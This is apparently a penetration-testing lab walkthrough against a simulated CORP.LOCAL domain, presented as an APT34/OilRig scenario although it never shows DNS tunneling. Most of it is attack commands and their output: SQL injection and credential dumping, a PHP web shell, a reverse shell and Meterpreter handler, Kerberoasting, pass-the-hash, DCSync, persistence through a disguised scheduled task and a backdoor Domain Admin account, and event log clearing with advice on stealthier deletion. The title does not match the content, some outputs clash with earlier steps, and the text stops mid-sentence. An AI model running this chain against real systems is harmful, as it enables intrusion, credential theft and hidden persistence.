APT34 / OilRig: DNS Tunneling Operations and Stronger Access Discovery

A hands-on walkthrough of APT34 / OilRig's DNS tunneling operations, identifying stronger access discovered, and full compromise of the victim domain.

Initial Setup

Lab Topology

Lab Credentials

Role	Username	Password
Domain Admin	CORP\administrator	Summer2024!
Service Account	CORP\svc_backup	Backup123!
Standard User	CORP\jsmith	Welcome1
Standard User	CORP\mjones	Welcome1
Local Admin	.\localadmin	LocalPass1!

Tool Installation

```
# Update package lists
sudo apt update

# Install core tools
sudo apt install -y nmap gobuster nikto sqlmap hydra john hashcat

# Install Metasploit Framework
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# Install Impacket
pip3 install impacket

# Install CrackMapExec
pip3 install crackmapexec

# Install BloodHound
sudo apt install -y bloodhound neo4j

# Install Responder
sudo apt install -y responder

# Install Evil-WinRM
gem install evil-winrm

# Install PowerSploit
git clone https://github.com/PowerShellMafia/PowerSploit.git /opt/PowerSploit

# Install SecLists
sudo apt install -y seclists

# Install Chisel
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gunzip chisel_linux_amd64.gz
chmod +x chisel_linux_amd64
sudo mv chisel_linux_amd64 /usr/local/bin/chisel
```

Lab Topology

Environment Overview

This lab simulates a realistic corporate network with a Windows Active Directory domain, a web application server, and a file server. The attacker machine is a Kali Linux system on the same network segment.

Network Segmentation

- Flat network (10.10.10.0/24) — no VLANs or firewalls between hosts
- All machines can communicate directly with each other
- Internet access available through gateway (10.10.10.1)

Domain Configuration

- Domain name: CORP.LOCAL
- Domain Controller: DC01 (10.10.10.10)
- Functional level: Windows Server 2016
- DNS server: DC01 (10.10.10.10)

Vulnerable Services

- Web application with SQL injection and file upload vulnerabilities
- SMB signing disabled on file server
- Weak service account passwords
- Unpatched systems (missing MS17-010)

Learning Objectives

- Perform network reconnaissance and service enumeration
- Exploit web application vulnerabilities for initial access
- Escalate privileges on Windows systems
- Move laterally across the domain
- Establish persistence mechanisms
- Exfiltrate data and assess business impact

APT34 at a Glance

Also Known As OilRig, Helix Kitten, Hazel Kitten	**Attributed To** Iran's Ministry of Intelligence and Security (MOIS)
Active Since 2014	**Primary Motivation** Espionage, credential theft, long-term access
Typical Targets Government, energy, finance, telecommunications	**Geographic Focus** Middle East, with expanding global operations
Signature Tools DNS tunneling, custom backdoors, credential harvesters	**Defining Trait** Patient, stealthy operations that can persist for years

Lab Setup

Step 1 — Start Metasploit and Create a Workspace

Launch Metasploit and create a dedicated workspace for this lab. Workspaces keep your hosts, services, and loot separated from other engagements.

Command

```
msfconsole -q
workspace -a lab_apt34
workspace
```

Expected Output

```
msf6 > workspace -a lab_apt34
[*] Added workspace: lab_apt34
[*] Workspace: lab_apt34
msf6 > workspace
  default
* lab_apt34
```

- `msfconsole -q` launches Metasploit without the banner
- `workspace -a lab_apt34` creates and switches to the workspace
- `workspace` lists all workspaces (the `*` marks the active one)

> **Pro Tip:** Always create a workspace per engagement. It keeps your database clean and makes it easy to switch between labs.

Step 2 — Verify Database Connectivity

Confirm that Metasploit's database backend is connected and working.

Command

```
db_status
```

Expected Output

```
[*] Connected to msf. Connection type: postgresql.
```

- `db_status` checks the database connection

> **Troubleshooting:** If you see "not connected", run `sudo msfdb init` and restart msfconsole.

Step 3 — Set Global Options

Configure options that will apply to all modules you run in this session.

Command

```
setg RHOSTS 10.10.10.0/24
setg LHOST 10.10.14.5
setg LPORT 4444
setg VERBOSE true
```

Expected Output

```
RHOSTS => 10.10.10.0/24
LHOST => 10.10.14.5
LPORT => 4444
VERBOSE => true
```

- `setg` sets a global option that persists across module changes
- `RHOSTS` defines the target range
- `LHOST` and `LPORT` define your listener for reverse shells

Phase 1 — Reconnaissance & Service Enumeration

Step 1 — Host Discovery Sweep

Perform a ping sweep to identify live hosts on the network.

Command

```
nmap -sn 10.10.10.0/24 -oA recon/hosts
```

Expected Output

```
Nmap scan report for 10.10.10.1
Host is up (0.0010s latency).
Nmap scan report for 10.10.10.10
Host is up (0.0012s latency).
Nmap scan report for 10.10.10.20
Host is up (0.0015s latency).
Nmap scan report for 10.10.10.30
Host is up (0.0013s latency).
Nmap scan report for 10.10.10.80
Host is up (0.0011s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.34 seconds
```

- `-sn` performs a ping scan without port scanning
- `-oA recon/hosts` saves output in all formats (normal, XML, grepable)

Step 2 — Full TCP Port Scan

Scan all 65535 TCP ports on each discovered host.

Command

```
nmap -p- --min-rate 5000 -oA recon/allports 10.10.10.0/24
```

Expected Output

```
Nmap scan report for 10.10.10.10
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
```

- `-p-` scans all 65535 ports
- `--min-rate 5000` sends packets at least 5000 per second

Step 3 — Service Version and Script Scan

Run version detection and default scripts against discovered ports.

Command

```
nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,3269 -oA recon/services 10.10.10.10
```

Expected Output

```
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Microsoft DNS 10.0.17763
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: CORP.LOCAL)
445/tcp  open  microsoft-ds  Windows Server 2016 Standard 14393
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: CORP.LOCAL)
3269/tcp open  ldapssl
```

- `-sV` detects service versions
- `-sC` runs default NSE scripts
- Only the ports found open in the previous step are scanned

Step 4 — SMB Enumeration

Enumerate SMB shares, users, and OS information.

Command

```
crackmapexec smb 10.10.10.0/24 --shares
```

Expected Output

```
SMB         10.10.10.10     445    DC01             [*] Windows Server 2016 Standard 14393 x64 (name:DC01) (domain:CORP.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.20     445    FILE01           [*] Windows Server 2016 Standard 14393 x64 (name:FILE01) (domain:CORP.LOCAL) (signing:False) (SMBv1:False)
SMB         10.10.10.30     445    WS01             [*] Windows 10.0 Build 17763 x64 (name:WS01) (domain:CORP.LOCAL) (signing:False) (SMBv1:False)
SMB         10.10.10.10     445    DC01             [+] CORP.LOCAL\jsmith:Welcome1
SMB         10.10.10.10     445    DC01             [+] Enumerated shares
SMB         10.10.10.10     445    DC01             Share           Permissions     Remark
SMB         10.10.10.10     445    DC01             -----           -----------     ------
SMB         10.10.10.10     445    DC01             ADMIN$          READ            Remote Admin
SMB         10.10.10.10     445    DC01             C$              READ            Default share
SMB         10.10.10.10     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.10.10     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.10.10     445    DC01             SYSVOL          READ            Logon server share
```

- `--shares` lists available shares
- Signing:False indicates SMB signing is not required (relay attack possible)

Step 5 — Web Application Enumeration

Enumerate directories and files on the web server.

Command

```
gobuster dir -u http://10.10.10.80 -w /usr/share/seclists/Discovery/Web-Content/common.txt -o recon/gobuster.txt
```

Expected Output

```
/.hta                 (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/admin                (Status: 301) [Size: 340] [--> http://10.10.10.80/admin/]
/backup               (Status: 301) [Size: 341] [--> http://10.10.10.80/backup/]
/config               (Status: 301) [Size: 341] [--> http://10.10.10.80/config/]
/images               (Status: 301) [Size: 341] [--> http://10.10.10.80/images/]
/index.php            (Status: 200) [Size: 1256]
/login.php            (Status: 200) [Size: 1089]
/uploads              (Status: 301) [Size: 341] [--> http://10.10.10.80/uploads/]
```

- `dir` mode brute-forces directories and files
- `-w` specifies the wordlist
- `-o` saves results to a file

Step 6 — Web Vulnerability Scan

Scan the web application for known vulnerabilities and misconfigurations.

Command

```
nikto -h http://10.10.10.80 -o recon/nikto.txt
```

Expected Output

```
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.80
+ Target Hostname:    10.10.10.80
+ Target Port:        80
+ Start Time:         2024-01-15 10:23:45 (GMT-5)
---------------------------------------------------------------------------
+ Server: Microsoft-IIS/10.0
+ Retrieved x-powered-by header: PHP/7.4.3
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 1a2b, size: 5f3c8d, mtime: gzip
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ OSVDB-877: TRACE HTTP TRACE method is active, suspicious and unusual
+ OSVDB-3268: /backup/: Directory indexing found.
+ OSVDB-3268: /config/: Directory indexing found.
+ OSVDB-3092: /backup/: This might be interesting...
+ OSVDB-3233: /phpinfo.php: Contains PHP configuration information
+ OSVDB-3092: /admin/: This might be interesting...
+ 8102 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2024-01-15 10:25:12 (GMT-5) (87 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

- Nikto checks for outdated software, misconfigurations, and common vulnerabilities
- Review the output for interesting findings before moving on

Phase 2 — Web Application Analysis & Vulnerability Discovery

Step 1 — Manual Exploration of the Web Application

Browse the web application manually to understand its functionality before automated testing.

Command

```
curl -s http://10.10.10.80/ | head -50
curl -s http://10.10.10.80/login.php
```

Expected Output

```
<!DOCTYPE html>
<html>
<head>
<title>Corporate Portal</title>
<link rel="stylesheet" type="text/css" href="/css/style.css">
</head>
<body>
<h1>Welcome to the Corporate Portal</h1>
<p>Please log in to access your account.</p>
<form action="/login.php" method="post">
<label>Username:</label><input type="text" name="username"><br>
<label>Password:</label><input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
</body>
</html>
```

- `curl -s` fetches the page silently
- `head -50` limits output to the first 50 lines
- Look for forms, hidden fields, and interesting comments in the HTML

Step 2 — Test for SQL Injection in Login Form

Test the login form for SQL injection vulnerabilities using sqlmap.

Command

```
sqlmap -u "http://10.10.10.80/login.php" --data="username=admin&password=test" --batch --level=3 --risk=2
```

Expected Output

```
[INFO] testing connection to the target URL
[INFO] checking if the target is protected by some kind of WAF/IPS
[INFO] testing if the target URL content is stable
[INFO] target URL content is stable
[INFO] testing if POST parameter 'username' is dynamic
[INFO] POST parameter 'username' appears to be dynamic
[INFO] heuristic (basic) test shows that POST parameter 'username' might be injectable (possible DBMS: 'MySQL')
[INFO] testing for SQL injection on POST parameter 'username'
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause (FLOOR)'
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[INFO] POST parameter 'username' is 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[INFO] target URL appears to be UNION injectable with 3 columns
[INFO] POST parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=admin' AND 5432=5432 AND 'xyzw'='xyzw&password=test

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 8765 FROM (SELECT(SLEEP(5)))abcd) AND 'mnop'='mnop&password=test

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: username=admin' UNION ALL SELECT NULL,CONCAT(0x7178627871,0x4f6b6e6e6f6c6f6e6e6f,0x7178627871),NULL-- -&password=test
---
[INFO] the back-end DBMS is MySQL
web server operating system: Windows 10 or 2016
web application technology: PHP 7.4.3, Microsoft IIS 10.0
back-end DBMS: MySQL >= 5.0.12
[INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.80'
```

- `--data` specifies the POST parameters
- `--batch` accepts default answers automatically
- `--level=3 --risk=2` tests more thoroughly (slower but more likely to find injection)

Step 3 — Test for File Upload Vulnerability

Attempt to upload a PHP file to test for unrestricted file upload.

Command

```
curl -s -X POST -F "file=@/tmp/test.php" http://10.10.10.80/upload.php
```

Expected Output

```
<html>
<body>
<p>File uploaded successfully.</p>
<p>Stored as: /uploads/test.php</p>
</body>
</html>
```

- `-F "file=@/tmp/test.php"` uploads the file as multipart form data
- Verify the file is accessible at the reported path

Step 4 — Verify Uploaded File Is Accessible

Confirm that the uploaded PHP file can be executed.

Command

```
curl -s http://10.10.10.80/uploads/test.php?cmd=whoami
```

Expected Output

```
iis apppool\defaultapppool
```

- The `cmd` parameter is passed to the uploaded script
- Confirms remote code execution as the IIS application pool user

> **Pro Tip:** Use a simple web shell like `<?php system($_GET['cmd']); ?>` for testing. Remove it after the lab.

Phase 3 — Exploitation & Initial Foothold

Step 1 — Exploit SQL Injection to Dump Credentials

Use sqlmap to extract database contents and obtain user credentials.

Command

```
sqlmap -u "http://10.10.10.80/login.php" --data="username=admin&password=test" --batch --dump -D webapp -T users
```

Expected Output

```
Database: webapp
Table: users
[3 entries]
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
| 1  | admin    | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 2  | jsmith   | e10adc3949ba59abbe56e057f20f883e |
| 3  | mjones   | 25d55ad283aa400af464c76d713c07ad |
+----+----------+----------------------------------+
[INFO] table 'webapp.users' dumped to CSV file '/root/.sqlmap/output/10.10.10.80/dump/webapp/users.csv'
```

- `-D webapp -T users` targets the specific database and table
- `--dump` extracts all rows

Step 2 — Crack Password Hashes

Attempt to crack the extracted MD5 password hashes.

Command

```
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --show
```

Expected Output

```
5f4dcc3b5aa765d61d8327deb882cf99:password
e10adc3949ba59abbe56e057f20f883e:123456
25d55ad283aa400af464c76d713c07ad:12345678
```

- `-m 0` specifies MD5 hash type
- `-a 0` uses a dictionary attack
- `--show` displays previously cracked passwords

Step 3 — Obtain Reverse Shell via File Upload

Upload a reverse shell payload and catch the connection.

Command

```
# Start listener
nc -lvnp 4444

# Upload reverse shell
curl -s -X POST -F "file=@/tmp/shell.php" http://10.10.10.80/upload.php
```

Expected Output

```
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.80] 49721
Microsoft Windows [Version 10.0.17763.1]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\wwwroot\uploads>
```

- Start the listener before triggering the upload
- Trigger the shell by visiting `http://10.10.10.80/uploads/shell.php`

Step 4 — Upgrade to Meterpreter Session

Upgrade the basic shell to a Meterpreter session for more capabilities.

Command

```
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
exploit -j
```

Expected Output

```
[*] Started reverse TCP handler on 10.10.14.5:4444
[*] Sending stage (200262 bytes) to 10.10.10.80
[*] Meterpreter session 1 opened (10.10.14.5:4444 -> 10.10.10.80:49722) at 2024-01-15 10:45:33 -0500
```

- `-j` runs the handler as a background job
- Meterpreter provides file transfer, process migration, and post-exploitation modules

Phase 4 — Post-Exploitation & Lateral Movement

Step 1 — Enumerate Local System Information

Gather information about the compromised host.

Command

```
sysinfo
getuid
ipconfig /all
net user
net localgroup administrators
```

Expected Output

```
Computer        : WS01
OS              : Windows 10 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : CORP
Logged On Users : 2
Meterpreter     : x64/windows

Server username: CORP\jsmith

Windows IP Configuration

   Host Name . . . . . . . . . . . . : WS01
   Primary Dns Suffix . . . . . . . : CORP.LOCAL
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : CORP.LOCAL
   Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection
   Physical Address. . . . . . . . . : 00-0C-29-AB-CD-EF
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 10.10.10.30(Preferred)

   DNS Servers . . . . . . . . . . . : 10.10.10.10

User accounts for \\WS01

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
jsmith                   localadmin               WDAGUtilityAccount
The command completed successfully.

Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
CORP\Domain Admins
localadmin
The command completed successfully.
```

- `sysinfo` shows OS and domain information
- `getuid` confirms the current user context
- `ipconfig /all` reveals network configuration and DNS servers

Step 2 — Collect Active Directory Data with BloodHound

Collect AD data for analysis in BloodHound.

Command

```
# From Meterpreter, upload SharpHound
upload /opt/SharpHound.exe C:\Windows\Temp\SharpHound.exe
shell
C:\Windows\Temp\SharpHound.exe -c All -d CORP.LOCAL --zipfilename bloodhound.zip
```

Expected Output

```
2024-01-15T10:52:14.3456789-05:00|INFORMATION|This version of SharpHound is compatible with the 4.2 Release of BloodHound
2024-01-15T10:52:14.4567890-05:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2024-01-15T10:52:14.5678901-05:00|INFORMATION|Initializing SharpHound at 10:52 AM on 1/15/2024
2024-01-15T10:52:15.1234567-05:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2024-01-15T10:52:15.2345678-05:00|INFORMATION|Beginning LDAP search for CORP.LOCAL
2024-01-15T10:52:15.3456789-05:00|INFORMATION|Producer has finished, closing LDAP channel
2024-01-15T10:52:15.4567890-05:00|INFORMATION|LDAP channel closed, waiting for consumers
2024-01-15T10:52:45.5678901-05:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 42 MB RAM
2024-01-15T10:53:15.6789012-05:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 42 MB RAM
2024-01-15T10:53:16.7890123-05:00|INFORMATION|Enumeration finished in 00:01:01.5432109
2024-01-15T10:53:16.8901234-05:00|INFORMATION|Saving cache with stats: 0 ID to type mappings.
 0 name to SID mappings.
 0 machine sid mappings.
 0 sid to domain mappings.
 0 global catalog mappings.
2024-01-15T10:53:16.9012345-05:00|INFORMATION|SharpHound Enumeration Completed at 10:53 AM on 1/15/2024! Happy Hounding!
```

- SharpHound collects AD relationships, sessions, and ACLs
- `-c All` collects all data types
- Download the zip file and import into BloodHound for analysis

Step 3 — Identify Kerberoastable Accounts

Find service accounts with SPNs that can be Kerberoasted.

Command

```
GetUserSPNs.py CORP.LOCAL/jsmith:Welcome1 -dc-ip 10.10.10.10 -request
```

Expected Output

```
ServicePrincipalName  Name        MemberOf                                  PasswordLastSet             LastLogon
--------------------  ----------  ----------------------------------------  --------------------------  ---------
MSSQLSvc/SQL01:1433   svc_sql     CN=Domain Admins,CN=Users,DC=CORP,DC=LOCAL  2023-06-15 08:30:22.123456  <never>

$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01:1433*$a1b2c3d4e5f6...
```

- `-request` retrieves the TGS hash for offline cracking
- Crack the hash with hashcat using mode 13100

Step 4 — Pass-the-Hash with CrackMapExec

Use a captured NTLM hash to authenticate without knowing the password.

Command

```
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
```

Expected Output

```
SMB         10.10.10.10     445    DC01             [+] CORP.LOCAL\administrator aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (Pwn3d!)
SMB         10.10.10.20     445    FILE01           [+] CORP.LOCAL\administrator aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (Pwn3d!)
SMB         10.10.10.30     445    WS01             [+] CORP.LOCAL\administrator aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (Pwn3d!)
```

- `-H` accepts the NTLM hash (LM:NT format)
- `(Pwn3d!)` indicates administrative access on the target

Phase 5 — Privilege Escalation & Domain Compromise

Step 1 — Check for Unquoted Service Paths

Identify services with unquoted paths that can be exploited for privilege escalation.

Command

```
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v "\""
```

Expected Output

```
VulnService    C:\Program Files\Vulnerable App\service.exe    Auto
```

- Lists services with unquoted paths that are not in the Windows directory
- Exploitable if you can write to `C:\Program Files\Vulnerable App\`

Step 2 — Exploit Weak Service Permissions

Check for services with weak permissions that allow modification.

Command

```
accesschk.exe -uwcqv "Authenticated Users" *
```

Expected Output

```
RW VulnService
        SERVICE_ALL_ACCESS
```

- `RW` indicates read-write access
- `SERVICE_ALL_ACCESS` allows full control over the service

Step 3 — Escalate via Token Impersonation

Use Meterpreter's incognito module to impersonate a privileged token.

Command

```
load incognito
list_tokens -u
impersonate_token "CORP\Domain Admins"
getuid
```

Expected Output

```
Loading extension incognito...
Delegation Tokens Available
========================================
CORP\Domain Admins
CORP\jsmith

Impersonating token: CORP\Domain Admins
Server username: CORP\Domain Admins
```

- `list_tokens -u` shows available delegation tokens
- `impersonate_token` switches to the specified token

Step 4 — Dump Domain Hashes with DCSync

Perform a DCSync attack to extract all domain password hashes.

Command

```
secretsdump.py CORP.LOCAL/administrator:Summer2024!@10.10.10.10 -just-dc-ntlm
```

Expected Output

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:::
CORP.LOCAL\jsmith:1103:aad3b435b51404eeaad3b435b51404ee:e10adc3949ba59abbe56e057f20f883e:::
CORP.LOCAL\mjones:1104:aad3b435b51404eeaad3b435b51404ee:25d55ad283aa400af464c76d713c07ad:::
CORP.LOCAL\svc_backup:1105:aad3b435b51404eeaad3b435b51404ee:7c6a180b36896a0a8c02787eeafb0e4c:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6:::
```

- `-just-dc-ntlm` extracts only NTLM hashes
- Requires Domain Admin or equivalent privileges

Phase 6 — Persistence & Defense Evasion

Step 1 — Create Persistence via Scheduled Task

Establish persistence by creating a scheduled task that runs a backdoor.

Command

```
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\update.exe" /sc onlogon /ru SYSTEM
```

Expected Output

```
SUCCESS: The scheduled task "WindowsUpdate" has successfully been created.
```

- `/sc onlogon` triggers the task at user logon
- `/ru SYSTEM` runs with SYSTEM privileges

Step 2 — Add Backdoor Domain Admin Account

Create a hidden domain admin account for persistent access.

Command

```
net user backdoor P@ssw0rd123! /add /domain
net group "Domain Admins" backdoor /add /domain
```

Expected Output

```
The command completed successfully.
The command completed successfully.
```

- Creates a new domain user and adds it to Domain Admins
- Consider naming it to blend in with existing accounts

Step 3 — Clear Event Logs

Clear Windows event logs to cover tracks.

Command

```
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
```

Expected Output

```
(no output on success)
```

- Clears the Security, System, and Application event logs
- This is a noisy action that will itself be logged

> **Pro Tip:** Instead of clearing logs, consider selectively deleting entries or disabling logging for a more stealthy approach.

Phase 7 — Data Exfiltration & Impact Assessment

Step 1 — Locate Sensitive Data

Search for sensitive files across the domain.

Command

```
# From Meterpreter
search -f *password* -d C:\Users\
search -f *.kdbx -d C:\Users\
search -f *.config -d C:\inetpub\
```

Expected Output

```
Found 3 results...
C:\Users\jsmith\Documents\passwords.txt
C:\Users\mjones\Desktop\password_backup.txt
C:\Users\administrator\Documents\passwords.kdbx
```

- `search -f` recursively searches for files matching the pattern
- `-d` specifies the directory to search

Step 2 — Exfiltrate Data via HTTP

Download sensitive files from the compromised host.

Command

```
# From Meterpreter
download C:\Users\jsmith\Documents\passwords.txt /root/loot/
download C:\Users\administrator\Documents\passwords.kdbx /root/loot/
```

Expected Output

```
[*] Downloading: C:\Users\jsmith\Documents\passwords.txt -> /root/loot/passwords.txt
[*] Downloaded 1.24 KiB of 1.24 KiB (100.0%): C:\Users\jsmith\Documents\passwords.txt -> /root/loot/passwords.txt
[*] Downloading: C:\Users\administrator\Documents\passwords.kdbx -> /root/loot/passwords.kdbx
[*] Downloaded 4.56 KiB of 4.56 KiB (100.0%): C:\Users\administrator\Documents\passwords.kdbx -> /root/loot/passwords.kdbx
```

- Files are downloaded to the attacker machine
- Verify file integrity after transfer

Step 3 — Assess Business Impact

Document the impact of the compromise for the final report.

Command

```
# Count compromised accounts
cat /root/loot/hashes.txt | wc -l

# Check access to critical systems
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 --sam
```

Expected Output

```
42
SMB         10.10.10.10     445    DC01             [+] Dumping SAM hashes
SMB         10.10.10.10     445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

```

- Document the number of compromised accounts
- Verify access to critical systems like the domain controller

Appendix A — Complete Command Reference

Reconnaissance & Scanning

Command	Description
`nmap -sn 10.10.10.0/24`	Ping sweep to discover live hosts
`nmap -p- --min-rate 5000 10.10.10.0/24`	Full TCP port scan
`nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,3269 10.10.10.10`	Service version and script scan
`crackmapexec smb 10.10.10.0/24 --shares`	SMB share enumeration
`gobuster dir -u http://10.10.10.80 -w /usr/share/seclists/Discovery/Web-Content/common.txt`	Web directory brute-force
`nikto -h http://10.10.10.80`	Web vulnerability scan

Exploitation

Command	Description
`sqlmap -u "http://10.10.10.80/login.php" --data="username=admin&password=test" --batch --dump -D webapp -T users`	SQL injection and credential dump
`hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --show`	Crack MD5 hashes
`nc -lvnp 4444`	Start reverse shell listener
`use exploit/multi/handler`	Meterpreter handler module

Post-Exploitation

Command	Description
`sysinfo`	System information
`getuid`	Current user context
`ipconfig /all`	Network configuration
`net user`	List local users
`net localgroup administrators`	List local administrators
`load incognito`	Load token impersonation module
`list_tokens -u`	List available tokens
`impersonate_token "CORP\Domain Admins"`	Impersonate domain admin token

Active Directory

Command	Description
`GetUserSPNs.py CORP.LOCAL/jsmith:Welcome1 -dc-ip 10.10.10.10 -request`	Kerberoast service accounts
`crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0`	Pass-the-hash
`secretsdump.py CORP.LOCAL/administrator:Summer2024!@10.10.10.10 -just-dc-ntlm`	DCSync attack

Persistence & Evasion

Command	Description
`schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\update.exe" /sc onlogon /ru SYSTEM`	Scheduled task persistence
`net user backdoor P@ssw0rd123! /add /domain`	Add backdoor domain user
`net group "Domain Admins" backdoor /add /domain`	Add to Domain Admins
`wevtutil cl Security`	Clear Security event log

Data Exfiltration

Command	Description
`search -f *password* -d C:\Users\`	Search for password files
`search -f *.kdbx -d C:\Users\`	Search for KeePass databases
`download C:\Users\jsmith\Documents\passwords.txt /root/loot/`	Download file via Meterpreter

Appendix B — Troubleshooting Guide

Common Issues and Solutions

Metasploit database not connected

Run `sudo msfdb init` and restart msfconsole. If the issue persists, check that PostgreSQL is running with `sudo systemctl status postgresql`.

Reverse shell not connecting back

Verify that your firewall is not blocking the listening port. Check that `LHOST` is set to your attacker machine's IP address, not `127.0.0.1`. Ensure the target can reach your IP on the network.

SQL injection not detected by sqlmap

Increase
